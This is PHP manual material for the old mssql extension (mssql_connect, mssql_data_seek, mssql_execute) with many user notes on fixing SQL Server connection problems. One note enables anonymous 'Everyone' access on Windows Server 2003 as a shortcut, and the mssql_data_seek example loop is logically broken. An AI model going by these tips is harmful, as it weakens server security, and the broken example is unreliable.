        tds version = 8.0
28-Oct-2006 04:45
Also note you NEED to specify the php directory as the windows environment variable 'PHPRC' if you're using php in IIS as an ISASPI extension:

e.g. System variables:

Variable: PHPRC
Value: C:\php5

(Set this under My Computer properties -> Advanced -> Environment Variables)

Otherwise the ISASPI extension will use the compiled default of C:\WINDOWS.
kamikazie at comcast dot net 23-Sep-2006 01:19
Ok, so after many many many hours of searching (somewhere around the ballpark of 2 weeks, on and off) and reading these pages, I've found the answer to my unspoken question (although there was much cursing).

Background:

A Windows Server 2003 box running as a router and a webserver using IIS6 and the latest PHP 5 as of 23 Sep 2006.

A Windows Server 2003 box running SQL 2000 Enterprise with one instance

Using a named pipe, the code to connect was:
"$connection = mssql_connect("\\.\pipe\MSSQL$instance\sql\query", "user", "pass") or die("Message"); "

I recieved the error that $instance was not a defined variable, so I changed it to
"\\.\pipe\MSSQLinstance\sql\query"
both on the connection string and the SQL server

When passed on to the server, I still recieved connection errors, so I changed it again, this time to:
"$connection = mssql_connect("\\\\.\pipe\\MSSQLinstance\\sql\\query", "user", "pass") or die("Message"); "

With this new code, I recieved a successful connection, but a bad login saying that my IUSR_ account did not have permissions on the database, although I used a separate username in the connection string.

Using SQL, I setup windows authentication for the IUSR_ account and I was able to establish a connection and successfully run a query.

I still can't find out why it was trying to pass the IUSR_ account as the login though.  If anyone has an answer drop me a line.

Now using windows groups it should be easy to create a login page that uses groups to connect to databases rather than setting up each user individually.

I just wanted to share with everyone my long awaited success story.
munckfish.net 13-Jul-2006 10:55
Further to the following posts on Windows 2003 + PHP5 + SQL Server Express.

http://php.net/manual/en/function.mssql-connect.php#58787
http://uk2.php.net/manual/en/function.mssql-connect.php#61971

I ran into another problem when I updated the version of ntwdblib.dll. I picked up version 2000.80.2039.0 from an SQL Server 2000 installation. However, when I replaced the PHP 5 provided version with this one and restarted IIS, phpinfo() showed that the mssql extension wasn't loading anymore. I couldn't see any errors reported in browser nor the system error logs.

By chance I decided to run 'php -i' on the command line. This was lucky because running it this way a system error dialog popped up a warning about a missing DLL dependency.

The problem was that the new ntwdblib.dll had a dependency on MSVCR71.DLL which couldn't be found in IIS' path. I did a search for msvcr*.dll in C:\\WINDOWS and found a copy of this DLL in C:\\WINDOWS\\Microsoft.NET\\Framework\\v1.1.4322\\. I copied it into my PHP install dir and restarted IIS. Then when I ran phpinfo() the extension showed up again.
gwkeeper at eljoy dot xxx 13-Dec-2005 08:03
I'm running PHP 5.x.x on IIS5 + Windows 2000 server and connecting to remote SQL Server 2000 with error : Login failed for user (sa). Reason: Not associated with a trusted SQL Server connection. (severity 14).

I found that even though I had "SQL and Windows Authentication" selected, and mssql.secure_connection = On in php.ini it did not work. It was due to another software instalation.

For me was solution to install SP4 on MS SQL 2000 and it started to work pretty well.
lbowerh at netscape dot net 15-Nov-2005 07:32
The recently released SQL Server 2005 Express will work with MSSQL functions. Here are some caveats:

1) The version of ntwdblib.dll supplied with PHP will not work with Server 2005 (Win32 only). You must use a newer version. The version supplied with SQL Sever 2000 (2000.80.194.0) seems to work well.
2) You must set up mssql_connect to reference the server AND the instance name, eg:
mssql_connect("MyPC\SQLEXPRESS","MyUser","MyPwd");

Although the MSSQL functions work, you might want to consider using the new 'pdo_odbc' (PHP 5.1) with SQL Server 2005 Express for any new code you are writing.
dave at phantomfish dot co dot uk 20-Oct-2005 06:48
I have spent the last 2 days trying to get PHP to connect to MSDE on Windows 2003 Web Edition.

Although initally PHP would connect to the database without a problem, it would then refuse to connect, hitting F5 enough times would eventually connect to the database. As you can imagine this intermittent problem was hard to trace.

I was using PHP 5.0.5 (although 5.0.4 has the same problem) on a Windows 2003 Web Edition SP1 server, and was trying to connect to MSDE Rel A.

Solution:
~~~~~~~~~

Firstly MSDE needed to be installed with the following arguments: SECURITYMODE=SQL DISABLENETWORKPROTOCOLS=0.

Secondly it was necessary to delete ntwdblib.dll from c:\php

Thirdly I downloaded the SQL 2000 evaluation and installed only the client tools on a seperate PC (Ent. Manager will now connect to the database).

Lastly I copied the version of ntwdblib.dll from the PC with Ent. Manager on it (ver 2000.80.2039.0) to c:\windows\system32\

After a re-boot no more connection problems.

Pls note that this is only for 2003 Web Edition with MSDE, this problem does not seem to occour with Standard Edition
mckoin at example dot com 17-Oct-2005 08:58
If you use PHP on Windows with Apache as a web server, you may get problems with authentication to MS SQL Server even when you supply all valid credentials.

Check your php.ini file:
; Use NT authentication when connecting to the server
mssql.secure_connection = On

If you have secure_connection = On, make sure that you provide valid credentials in the properties for Apache service in the System Services box. Then you should not send DB username and password from your script to MSSQL Server.

If you want to use specific credentials from a PHP script, then set mssql.secure_connection = Off in your php.ini
j3d 24-Sep-2005 05:14
After struggling for 6 hours trying to fix the dreaded "Not associated with a trusted SQL Server connection." error I have finally solved it after following the suggestions presented here:
http://support.microsoft.com/default.aspx?scid=kb;en-us;839569

<sarcasm> Who would have thought that microsoft's article would be useful </sarcasm>
dale dot liszka at gmail dot com 19-Sep-2005 12:28
If you are trying to use Sybase and MSSQL on the same WIN32 box you will probably have headaches.  There are multiple declaration errors when you enable php_sybase_ct.dll and php_mssql.dll in the php.ini at the same time.

The specific error for all functions starts like this:
PHP Warning: Function registration failed - duplicate name - mssql_connect

There is a way around this! On a windows box I have done this successfully several times.

1. Make a backup copy of php_sybase_ct.dll (never hurts!)
2. Open php_sybase_ct.dll in a HEX editor (fhred is a nice free one http://www.kibria.de/frhed.html )
3. Replace all instances of 'mssql' with 'sysql'.  It doesn't have to be 'sysql', just anything but 'mssql' or 'sybase'.
4. Save the file.  (Alternately you could save as something like php_sybase_ct_modified.dll and cite that in your php.ini)

All the constructs are still declared for the sybase_* functions and now you can use MSSQL and Sybase instead of switching php.ini files, etc.  I have had this work under php 4.3+ and php 5.0.5.

PS. I decided to place this under mssql_connect because its the first error thrown in this case.  I believe it should make the information easier to find via google/search/browsing.
Marcel Laverdet 27-Jul-2005 01:30
I was having problems connecting to a SQL cluster with mssql_connect, but any other program could connect just fine. I ended up using a PHP ADODB driver to work around the connectivity problem I was having. Later, however, I discovered my problem was a mismatched name in the server table.

To see if you have this problem, "SELECT * FROM [master].[sysservers]". If the srvname, and datasource don't match the cluster's virtual SQL name... then you will have a problem. My virtual SQL server's name was 'SQL-SERV', however in the sysservers table it was listed as 'SQLSERV'.

To remedy this problem, simply issue the following queries: "EXECUTE sp_dropserver wrongName" and then "EXECUTE sp_addserver rightName, 'local'". After running these 2 procedures, restart the server and PHP should connect just fine using the native libraries.

If it still doesn't connect, make sure you update the ntwdblib.dll file as explained in prior comments.
Robert at realjax dot com 13-Jun-2005 06:00
A view that worked fine when queried from any other environment was giving me strange results when queried from PHP.  The problem is that the MS SQL database settings are not set to the ANSI defaults as when connecting through Microsoft products.  The setting CONCAT_NULL_YIELDS_NULL defaults to ON when connecting with ODBC or SQL Query Analyzer, which complies with the ANSI standard.  However, this defaults to OFF when connecting through PHP.  There are many other settings which may also need to be explicitly set.
<?php
mssql_query('SET CONCAT_NULL_YIELDS_NULL ON', $hd);
?>
pelanne at gmail dot com 07-Jun-2005 07:18
Just in case it helps people here...  We were being run ragged by extremely slow connections from IIS6 --> SQL Server 2000.  Switching from CGI to ISAPI fixed it somewhat, but the initial connection still took along the lines of 10 seconds, and eventually the connections wouldn't work any more.

The solution was to add the database server IP address to the HOST file on the server, pointing it to the internal machine name.  Looks like some kind of DNS lookup was the culprit.

Now connections and queries are flying, and the world is once again right.
jack dot rauta at tiscali dot dk 05-Jun-2005 04:30
I couldn't connect to a remote MSSQL database using Windows Server 2003, IIS 6, PHP 5 and mssql_connect. It worked with odbc_connect and with DSN-less connection through ADODB COM object.

The solution was to change a registry entry, as follows:
1) Open regedit.exe
2) Browse to the key named HKEY_LOCAL_MACHINE\\SOFTWARE \\Microsoft\\MSSQLServer\\Client\\ConnectTo
3) There should be one or more keys in the format "SERVER" = "LIBRARY,SERVER,PORT"
    where SERVER is a NetBIOS name, Named Pipe alias or the server's IP address, and PORT is usually 1433.
4) If LIBRARY is set to DBMSSOCN, try changing it to DBNETLIB. That worked for me.
5) Restart IIS
bass28 17-May-2005 12:47
When connecting to a SQL 2000 DB from an Apache/PHP setup on a Windows box you must connect using a SQL user login (type=standard).  If you add Windows users or groups to SQL security logins and try connecting using that login the connection will fail.  If the connection works for SA but not for your login, this may be your answer (it was for me!).
ta_bg at NOSPAM dot mail dot ru 26-Apr-2005 01:48
I spent about a day until get working mssql_connect() function. I tried to connect PHP to MSDE. The solution is Server Network Utility (it is not installed on MSDE + Client tools configuration, only on SQL Server Standard/Enterprise). The necessary file SVRNETCN.EXE exists on the installation disk.
kryltsov at yahoo dot com 11-Apr-2005 01:33
If you connect to MSSQL and  get error 515 (INSERT NULL INTO NOT NULL VALUE).
Execute following statement after connection to DB.
"set ANSI_NULL_DFLT_ON ON". There are lots of code arround where SP creates, for example, temp tables. There is no specification 'NOT NULL' on columns. Many people beleive that it means that nulls will be allowed.
After 5 days of debugging one of the software monsters SQL code I found that PHP connects to MSSQL (at least on my server) without setting "ANSI_NULL_DFLT_ON" which caused SP fired by insert trigger failed with 515 error because temp tables had been created with all columns 'NOT NULL'.
QA and from ASP everything was working just fine.

After I set ANSI_NULL_DFLT_ON to ON. Everything started working fine.
Hope it wil help.
yurtesen at ispro dot net dot tr 28-Mar-2005 07:21
If you are using FreeBSD you shouldnt forget to copy freetds.conf.dist to freetds.conf and edit. Otherwise you will get:
PHP Warning:  mssql_connect(): Unable to connect to server:  BLAH in
nospam_bg at pumkinhed dot com 09-Mar-2005 07:17
On freebsd I edited the Makefile in /usr/ports/lang/php5 and added  --with-mssql=/usr/local to the CONFIGURE_ARGS= section (ensure to put a \ in front of the previous line), then it will use tds.h correctly....  hth
Ilmars Poikans 28-Jan-2005 11:08
Connecting to MS SQL server over TCP/IP.

I'm working on Windows XP with PHP5 (should work with PHP4 also because ntwdblib.dll is the same).

My problem was that I needed to connect to remote MS SQL server over TCP/IP (named pipes weren't an option), but I couldn't, because named pipes were used all the time.

One of the possible solutions is to install SQL Client Tools and configure TCP/IP support. I hadn't SQL Server installation disk, so I found fast solution with registry editing.

I added to registry following entry:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSSQLServer\Client\ConnectTo] (strip space)
"DSQUERY"="DBNETLIB"

It worked! Just specify servername in form "host" or "host,port". I successfully connected to remote MSSQL7 and MSSQL2000.

I have found on Internet alternative solution that you need to add "DSQUERY"="DBMSSOCN", but it didn't work for me.

If you need more connection tweaking like

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSSQLServer\Client\DB-Lib] (strip space)
"AutoAnsiToOem"="ON"
"UseIntlSettings"="ON"

and more, then better find and install SQL Client Tools.
petr /*dot*/ havlicek at phlab [dot) net 16-Jan-2005 04:17
I had problems connecting to multiple instance of MSSQL so I tried solution suggested by guilherme_cruz at uol dot com dot br 29-Aug-2002 07:45. It works great but I had to change line \\SERVER_NAME\pipe\MSSQL$INSTANCE_NAME\sql\query
 to \\.\pipe\MSSQL$INSTANCE_NAME\sql\query.
Regards
Petr
henry aluede 24-Dec-2004 05:22
if u plan to connect to mssql, and u had previously worked on sybase, u will get a duplicate error. to correct this just exclude the sybase dll in your php.ini file
bartlewis at gmail dot com 16-Dec-2004 06:17
I am yet another person who had problems getting php[5] to play nicely with SQL Server 2000 [MSDE] on WinXP SP2 w/IIS. Following the notes on this page from previous users did get me closer, but I still could not connect. I was getting an error that said, in essence:

"MACHINENAME\IUSR_MACHINENAME" could not connect to the server.

Through some painstaking googeling I was able to resolve the problem by following this MSKB article:
http://support.microsoft.com/default.aspx?scid=kb;en-us;319930

It seems that my default install of MSDE did NOT "Enable Mixed Mode Authentication" which is required for this kind of connection. To make matters worse, the only way to change this with MSDE is to go mucking with the registry (which always freaks me out a bit). The above article explains how to do this.
cbunk at arescorporation dot com 13-Dec-2004 02:09
I was having problems connecting a IIS6 Webserver on a 2003 windows box to a MSSQL Installation running windows 2000.  After suspecting ntwdblib.dll I tried updating the file but with no luck.  Finally I figured out the problem by noticing that in addition to a copy of the file living in the windows directory there was one in the PHP directory as well (from the zip package).  Although I had an up to date version of the file in my windows directory the one in the php directory was getting read instead.  I simply removed the file from my php installation directory and all worked well.
chrisputnam at gmail dot com 17-Nov-2004 07:54
If you're having trouble getting PHP to connect to a SQL 2000 Server (the MSDE, specifically), try running the Server Network Client usually located at C:\Program Files\Microsoft SQL Server\80\Tools\Binn\SVRNETCN.exe

Disable all protocols but Named Pipes. Then Apply your changes, click OK, and restart the SQL service with these commands at a command prompt:

net stop mssqlserver [if it says the agent will stop too, let it happen]
net start mssqlserver
net start sqlserveragent

That fixed it all for me.

Also note that named pipes has a huge performance difference against TCP/IP. Named pipes are a tremendous amount faster.

I have been working on this for two days now and I hope someone else stumbles across my solution!
paul at ensigma dot com dot au 18-Oct-2004 05:10
It seems a lot of people are having trouble connecting to MSDE - so did I. Eventually I got it working. The trick was to change to registered server name from (local) to be the same as the machine name (ie in the Enterprise Manager, delete the registration and then re-register it). Also, make sure TCP/IP is enabled (and I actually removed named pipes for good measure). Viola - connection successful.
mworku at securiant dot com 02-Oct-2004 04:16
It looks like by default libphp5 ignores freetd's conf file if you
specify your SQL server's ip address within the mssql_connect() function.

If you need to utilize freetds.conf file for connection parameters use the putenv function as follows

<?php
  putenv('FREETDSCONF='path to your freetds conf. file')

  /*
    SQL CODE
    mssql_connect('MSSQL_2000, 'user' , 'pwd');
    ....
    ....
  */
?>

All connection parameters should now be read from the conf file. Also don't enable logging unless you're debugging, performace will suffer.

/* freetds.conf
 [MSSQL_2000]
    host = 192.168.10.10
    port = 1433
    tds version = 8.0
;    dump file = /etc/freetds/log/freetds.log
;            dump file append = yes
;    debug level = 99
*/
jonord at cfl dot se 11-May-2004 06:53
I had problems connecting to an SQL 2000 database running on a W2K server from IIS6 on an Windows 2003 server. I got an error message saying  "Unable to connect to server: <server name>" all the time.

 The 2003 server didn't have the MDAC components installed, installing the latest version (2.8 as of writing) seems to solve that problem.
bianco at bluetone dot com 01-Apr-2004 05:12
Little idea about 255 characters limitation. :)

In tables I'm using column type "varchar" or "nvarchar" instead "text". And also I use for example varchar(8000). And there is "a bug". :) PHP will read this column only as varchar(255). So how to read more then 255 chars from varchar(8000)? It is very easy, use CAST to convert varchar type to text type.

select CAST(Comment as TEXT) from Job

PHP will read it. Check php.ini section [MSSQL] and set maximum text length. Check parameters

mssql.textlimit = 4096
mssql.textsize = 4096

Maximum length is 2147483647

Bye
nuying117 at 163 dot com 15-Mar-2004 07:35
I came across the same question as jack,but there was no effect when i use his method.and then ,I created a user named IUSER_YOUR_COMPUTER_NAME which is the same as the user who start the IIS process,it works!
markus dot amsler at oribi dot org 19-Feb-2004 07:23
Make sure you disable ANSI to OEM Conversion in your SQL Server Client Network Utility -> DB Library Options if you are using these extension from the CLI. Otherwise you get encoding problems with special characters. For further information look at http://bugs.php.net/bug.php?id=27324
jeremyirons at genevus dot com 12-Jul-2003 05:51
Using MSSQL 2000 and Windows Server 2003 Enterprise running on a separate machine from the web server, I was unable to get PHP to connect to MSSQL with default Windows Server 2003 settings.  I got it working the following way:

From the Windows Server 2003 machine:
Control Panel -> Local Security Settings -> Security Settings -> Local Policies -> Security Options
Set "Network access: Let Everyone permissions apply to anonymous users" to Enabled

There is probably a better way, but this works
S.A. Tan 02-Jul-2003 03:58
Just a little comment that I would like to add:

If you intend to access MS SQL server remotely, you need to install SQL Server Client Tools on the system which hosts your PHP code.
php at burntpopcorn dot net 03-Jun-2003 07:53
I don't see it mentioned here, but if you are using SQL Server 2000, then you should use a comma instead of a colon to specify the port, for example:

$sql = mssql_connect ("192.168.1.2,1433", "username", "password") or die ("Could not connect to database: ".mssql_get_last_message());

instead of:

$sql = mssql_connect ("192.168.1.2:1433", "username", "password") or die ("Could not connect to database: ".mssql_get_last_message());
Gordon McCague 12-Feb-2003 11:27
I am running PHP 4.2.1, Windows 2000, with a MSSQL Server 7.0 isolated from our web DMZ (separate DMZ for our SQL Server).

mssql_connect in version 4.2.1 seems to insist on using named pipes to connect to the SQL Server. This is not secure as it requires netbios browsing (tcp/udp ports 137, 139, and 445 (with windows2000)). This is an unacceptable security risk.

To resolve this issue use your MSSQL 7.0 CD to perform a  install on your web server. Select a custom install. You will be prompted to select your components. Uncheck the "Server Components" box to avoid installing the full server offering. Leave "Client Connectivity" checked.

You can leave "Management Tools" selected as well if you wish to test your connection or run queries against the database engine. Installing them may pose a security risk so some might not choose to do so.

Don't forget to install the latest service pack and MDAC components once the initial installtion is complete. The MDAC components can be obtained from http://www.microsoft.com/data/

SQL Service Packs can be obtained from http://www.microsoft.com/sql

Once you have installed the updates and patchs then you need to run the "Client Network Utility" to enable TCPIP as the network protocol for connectivity to your SQL Server.

You will need to enable TCPIP and also create an alias to your SQL Server for TCPIP. This process should be self-evident once you run the utility. You may want to consult the SQL online manuals for assistance if uncomfortable with the configuration.

This should now allow you to access your SQL Server via ports 1433 and 1434 (or whatever you have enable as the port of communication). It is a best practice to consider changing the ports of communication to the SQL Server and I believe this can be done with the Network Client Utility (to something other than 1433 and 1434).

You can always build a little test file to check your connectivity once your system is up and running.

Good luck!

P.S. I have not looked to see if PHP 4.3.0 resolves this issue but I don't plan to test too much. I like to know how the web servers are connected to the SQL server.
Filipus 17-Jan-2003 07:02
Linux MDK 9.0, PHP 4.3.0 MSSQL 2000 on remote host
We used freetds (www.freetds.org) compiled with parameter:
./configure --prefix=/usr/local/freetds
PHP was compiled with parameter:
./configure --with-mssql=/usr/local/freetds [and some others]

We added our section in /usr/local/freetds/freetds.conf
----------------------------------
[MyServer70]
host = 172.16.20.81
port = 1433
tds version = 7.0
----------------------------------
in mssql_connect() you have to provide as a hostname the name you put between [] brackets in freetds.conf OR specify host:port

$connection = mssql_connect("MyServer70", "d", "d");
or
$connection = mssql_connect("172.16.20.81:1433", "d", "d");

Remember to specify port!
damien at mightyoaks dot com 12-Nov-2002 04:03
SQL Server 2000 may be listening on port 2433, instead of the default port 1433 that the MSSQL client libraries and old MSSQL servers use.  In this case, you might end up with mssql_connect() using port 1433 and SQL Server denying the connection.

If you are unable to connect, you can start by verifying the port SQL Server is listening on.  From the database server, run Start->Program Files->Microsoft SQL Server->Server Network Utility.  Select TCP/IP from the list of protocols and press Properties... - it will say what port the server is listening on (usually 1433 or 2433).

With SQL Server 2000 SP2 I was unable to change the default TCP/IP port on the server side.  But you can still change the default port the client libraries are using.  On your PHP machine, first make sure you have the MS SQL server Client utilities installed, then run Start->Program Files->Microsoft SQL Server->Client Network Utility.  Choose "TCP/IP" from the Enabled protocols list and press "Properties...".  Enter the port number that the server is listening on here (2433 in my case).

Once server and client are using the same port, PHP will be able to connect properly.
s dot westermayer at nospam-netnnet dot de 03-Sep-2002 05:34
SQL Server Authentication Mode must be set to "SQL Server and Windows" or your SQL Server will not accept a connection and diplay:
Warning: MS SQL message: Login failed for user 'myuser'. Reason: Not associated with a trusted SQL Server connection. (severity 14) in...
mssql_close
mssql_data_seek
Mssql Functions


Moves internal row pointer

mssql_connect
mssql_execute
Mssql Functions
PHP Manual

mssql_data_seek

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_data_seek — Moves internal row pointer

Description

bool mssql_data_seek ( resource $result_identifier , int $row_number )

mssql_data_seek() moves the internal row pointer of the MS SQL result associated with the specified result identifier to point to the specified row number, first row being number 0. The next call to mssql_fetch_row() would return that row.

Parameters

result_identifier

The result resource that is being evaluated.

row_number

The desired row number of the new result pointer.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_data_seek() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Select all people
$result = mssql_query('SELECT [name], [age] FROM [persons] WHERE [age] >= 13');

if (!$result) {
    die('Query failed.');
}

// Select every 4th student in the results
for ($i = mssql_num_rows($result) - 1; $i % 4; $i++) {
    if (!mssql_data_seek($result, $i)) {
        continue;
    }

    // Fetch the row ...
}

// Free the query result
mssql_free_result($result);
?>

User Contributed Notes

phpcomments at hltools dot com 20-Jul-2005 04:33
mssql_data_seek will return false AND trigger a warning ('Bad row offset') if you specify a row outside the result set.
You'll need to check beforehand if the row you are trying to seek to exists. Or you can supress the error and look for the false result, depending on your needs.

To check beforehand (where $result is the result fo your query and $seek is the row number you want to seek to):
<?php
$rowcount = mssql_num_rows($result);
if ($seek >= $rowcount)
{
    print ("Trying to seek outside result set!");
}
else
{
    if (!mssql_data_seek($result, $seek))
    {
        print ("Seek failed");
    }
    else
    {
        print ("Seek complete");
    }
}
?>

To have a 'simpler' way of handling errors by supressing the warning:
<?php
if (!@mssql_data_seek($result, $seek))
{
    print ("Seek failed");
}
else
{
    print ("Seek complete");
}
?>
mssql_connect
mssql_execute
Mssql Functions


Executes a stored procedure on a MS SQL server database

mssql_data_seek
mssql_fetch_array
Mssql Functions
PHP Manual

mssql_execute

(PHP 4 >= 4.0.7, PHP 5, PECL odbtp >= 1.1.1)

mssql_execute — Executes a stored procedure on a MS SQL server database

Description

mixed mssql_execute ( resource $stmt [, bool $skip_results = false ] )

Executes a stored procedure on a MS SQL server database

Parameters

stmt

Statement handle obtained with mssql_init().

skip_results

Whenever to skip the results or not.

Examples

Example #1 mssql_execute() example

<?php
// Create a new statement
$stmt = mssql_init('NewBlogEntry');

// Some data strings
$title = 'Test of blogging system';
$content = 'If you can read this, then the new system is compatible with MSSQL';

// Bind values
mssql_bind($stmt, '@author',    'Felipe Pena',  SQLVARCHAR,     false,  false,   60);
mssql_bind($stmt, '@date',      '08/10/2008',   SQLVARCHAR,     false,  false,   20);
mssql_bind($stmt, '@title',     $title,         SQLVARCHAR,     false,  false,   60);
mssql_bind($stmt, '@content',   $content,       SQLTEXT);

// Execute the statement
mssql_execute($stmt);

// And we can free it like so:
mssql_free_statement($stmt);
?>

Notes

Note:

If the stored procedure returns parameters or a return value these will be available after the call to mssql_execute() unless the stored procedure returns more than one result set. In that case use mssql_next_result() to shift through the results. When the last result has been processed the output parameters and return values will be available.

See Also

  • mssql_bind() - Adds a parameter to a stored procedure or a remote stored procedure
  • mssql_free_statement() - Free statement memory
  • mssql_init() - Initializes a stored procedure or a remote stored procedure

User Contributed Notes

whitep0wer at gmail dot com 05-Jan-2012 11:22
When calling a stored procedure which is using OUTPUT parameters, be sure not to pass them as NULL in mssql_bind. If you do this, the data received in output gets truncated to one character.
AgusQuiroga 21-Oct-2011 02:39
SUBJECT: No OUTPUT parameter recieved on store procedure call.

If you call a store procedure who binds data to an OUTPUT parameter on a SQL Server 7 or later no response will be produced, or an error perhaps.

From the Free TDS documentation:

Output Parameters

I'm not getting my output parameters returned, but I seem to be doing everything right!

That's not a question!

Microsoft SQL Server 7 with SP3, and later versions, quietly changed (which is to say, broke) how they respond to queries that execute stored procedures with output parameters. Earlier servers let you send a query like EXECUTE A @P OUTPUT and fetch the output parameter as a special result row (technique varying by library). Newer servers simply don't send back that data. To elicit output parameters from them, you have to use the RPC protocols such as the DB-Library dbrpcparam.
ian_channing at hotmail dot com 24-Sep-2011 07:05
Output parameters are cryptic to get out. Here's two examples, one if you have no results returned from your stored procedure, one if you do have results returned:
<?php
/**
 * using OUTPUT param with no results returned from stored procedure
 */
$outParamValue = 0;
mssql_bind($stmt, '@'.$outParamName, $outParamValue, $outParamType, $is_output = true);
mssql_execute($stmt, $skip_results = true);
/* N.B. If you don't use $skip_results = true you must use mssql_next_result as below **even if there are no results returned from the stored procedure** */
echo($outParamValue);

/**
 * using OUTPUT param with one result set returned from stored procedure
 */
$outParamValue = 0;
mssql_bind($stmt, '@'.$outParamName, $outParamValue, $outParamType, $is_output = true);
$result = mssql_execute($stmt);
echo($outParamValue); /* will still be 0 */
mssql_next_result($result); /* N.B. see the Note above about this */
echo($outParamValue); /* correct output */
?>
berk0081 at umn dot edu 07-Oct-2009 09:39
Regarding the "stored procedure execution failed" errors mentioned in previous posts -- in addition to using the data source name as defined in freetds.conf under Linux, you may encounter this error when attempting to call a stored procedure  after running a standard query with mssql_query()

Call mssql_free_result() before executing the stored procedure with mssql_execute() to clear this up.

<?php
$conn = mssql_connect($host, $user, $pass);
mssql_select_db('somedb', $conn);

// Call a simple query
$result = mssql_query('SELECT * FROM sometable', $conn);

// Release the result resource
mssql_free_result($result);

// Then execute the procedure
$proc = mssql_init('some_proc', $conn);
$proc_result = mssql_execute($proc);

// Etc...
mssql_free_statement($proc);
?>
vitali at lumensoftware dot com 15-Sep-2009 01:10
In a similar way as one of the post above, when I was trying to execute a stored procedure, I was getting "stored procedure execution failed." However, mssql_query was working fine. Instead of changing the config file, I have found a way to execute stored procedure and return parameters from it in the SQL statement. Below is the example SQL

DECLARE @Success bigint, @oSuccess bigint;
DECLARE @UserID bigint, @oUserID bigint;
EXEC dbo.sp_Login @UserName='user',  @UserPassword='pass', @Success=@oSuccess OUTPUT, @UserID=@oUserID OUTPUT;
SELECT success=@oSuccess, userid=@oUserID;

Note, that I pass 2 parameters to the stored procedure and receive 2 parameters back. Also, I used ADODB connection to execute the sql.
geoff at spacevs dot com 22-May-2008 09:05
In reply to: mark dot vanrossum at bris dot ac dot uk

A much simpler solution that allows you to keep the config in the PHP script is to force the TDS version by using putenv before you connect.

<?PHP
  putenv('TDSVER', '8.0');
  $dbc = mssql_connect('123.123.123.123:1433', 'user', 'pass');
?>
Anton Schattenfeld 02-Aug-2007 07:59
To get info about table structure you can use such a query:

SELECT
  column_name,
  data_type,
  character_maximum_length,
  numeric_precision,
  column_default,
  is_nullable
FROM
  information_schema.tables t
  INNER JOIN
  information_schema.columns c
  ON
    t.table_catalog = c.table_catalog AND
    t.table_schema = c.table_schema AND
    t.table_name = c.table_name
WHERE
  (c.table_name = 'TABLE_NAME')
mark dot vanrossum at bris dot ac dot uk 03-Jul-2007 05:47
I was pulling my hair out getting the error:
  "stored procedure execution failed"
when trying to run mssql_execute but you could run:
  $results = mssql_query('sp_test');
fine.

I was connecting using the string:
  $dbserver="xxx.xxx.xxx.xxx:1433";
  $cn = mssql_connect($dbserver, $dbuser, $dbpass);

where xxx is the IP address.

It seems that this doesn't work, you need to do the following:
edit your freetds.conf file and add the connection in here, eg:
[YourServer]
        host =xxx.xxx.xxx.xxx
        port = 1433
        tds version = 8.0

Then try and connect as:
$cn = mssql_connect('YourServer', $dbuser, $dbpass);

And it should work.  No idea why it doesn't work before, took me hours to find this out!
Manda Krishna Srikanth 17-Jan-2007 08:56
While using stored procedures on SQL EXPRESS (and perhaps on SQL Server), you have to specify the column names in SELECT, instead of asterisk (*). Or else you will get some big Unicode error.

That is, instead of "select * from table",
use "select col1, col2 from table".

One more important thing, Before using mssql_execute, you MUST AND SHOULD use mssql_init. mssql_init will generate the MS Sql statement resource, which will be taken as input by mssql_execute. Here is an example,

<?php
if($conn = mssql_connect('localhost\SQLEXPRESS', 'krishna', 'srikanth')) echo 'Connected to SQLEXPRESS';

if(mssql_select_db("Northwind",$conn)) echo 'Selected DB: Northwind<BR>';

$sql_statement =  mssql_init("[Ten Most Expensive Products]", $conn);
$result=mssql_execute($sql_statement);

while ($row = mssql_fetch_assoc($result))
    print_r($row);
?>
stuhood at gmail doooot com 05-Dec-2006 12:55
If you need to get Output params from your stored procedure, make sure to use FreeTDS > 0.6.4... it has a bug that prevents some Output params from being set.
mpoletto at gmail dot com 21-Feb-2005 11:04
The constant SQLINT4 is not working with datetime. Try using SQLVARCHAR.
SQL dot User at Yandex dot Ru 12-Jul-2004 09:38
To receive output parameter from the procedure which returns one or several recordsets, try this code:

...
mssql_bind($my_procedure, "@OutputParameter", SQLVARCHAR, true);
$result = mssql_execute($my_procedure);
while(mssql_next_recordset($result)) {
## do something
}

after listing last recordset output parameter will be available (strange...).

If you do not need output recordsets, just parameters, try this:

mssql_bind($my_procedure, "@OutputParameter", SQLVARCHAR, true);
$result = mssql_execute($my_procedure, true);

P.S. Tested on PHP 4.3.5.
marco dot carvalho at NOSPAM dot uni-yoga dot org dot br 07-Jun-2004 02:00
<?PHP

/*
<font color="#007f00">
Gets all fields properties from table/stored procedure in <i>systables</i> and stores
in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>True</b> or <b>false</b>
</font>
*/

function mssql_get_all_fields_properties($object){
   $res=mssql_query("select colorder,name,xtype,length,xprec from syscolumns where id = object_id('$object')");
   if($res){
     while(($tmp = mssql_fetch_assoc($res))){
       $ret[$tmp['colorder']] = $tmp;
     }
     $GLOBALS['MSSQL_PROP_'.$object] = $ret;
     return true;
   }
   else return false;
}

/*
<font color="#007f00">
Gets <b>$field</b> properties from <b>$object</b> table/stored procedure in <i>systables</i> and stores
in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>Array of properties</b> or <b>false</b> if some error occured.
</font>
*/

function mssql_get_field_properties($object,$field)
{
   if(!isset($GLOBALS['MSSQL_PROP_'.$object]) )
     if(!mssql_get_all_fields_properties($object))
       return false;

   foreach($GLOBALS['MSSQL_PROP_'.$object] as $prop){
     if($prop['name'] == $field) return $prop;
   }
}

/*
<font color="#007f00">
Gets <b>$field</b> length from <b>$object</b> table/stored procedure in <i>systables</i> and stores
in <b>$GLOBALS['MSSQL_PROP_'.$object]</b><br>
Returns: <b>length</b> or <b>false</b> if some error occured.
</font>
*/
function mssql_get_field_length($object,$field)
{
  if(!isset($GLOBALS['MSSQL_PROP_'.$object]) )
     if(!mssql_get_all_fields_properties($object))
       return false;

   foreach($GLOBALS['MSSQL_PROP_'.$object] as $prop){
     if($prop['name'] == $field) return $prop['length'];
   }
}

/*
<font color="#007f00">
Gets <b>$field</b> xprec from <b>$object</b> table/stored procedure in <i>systables</i> and stores
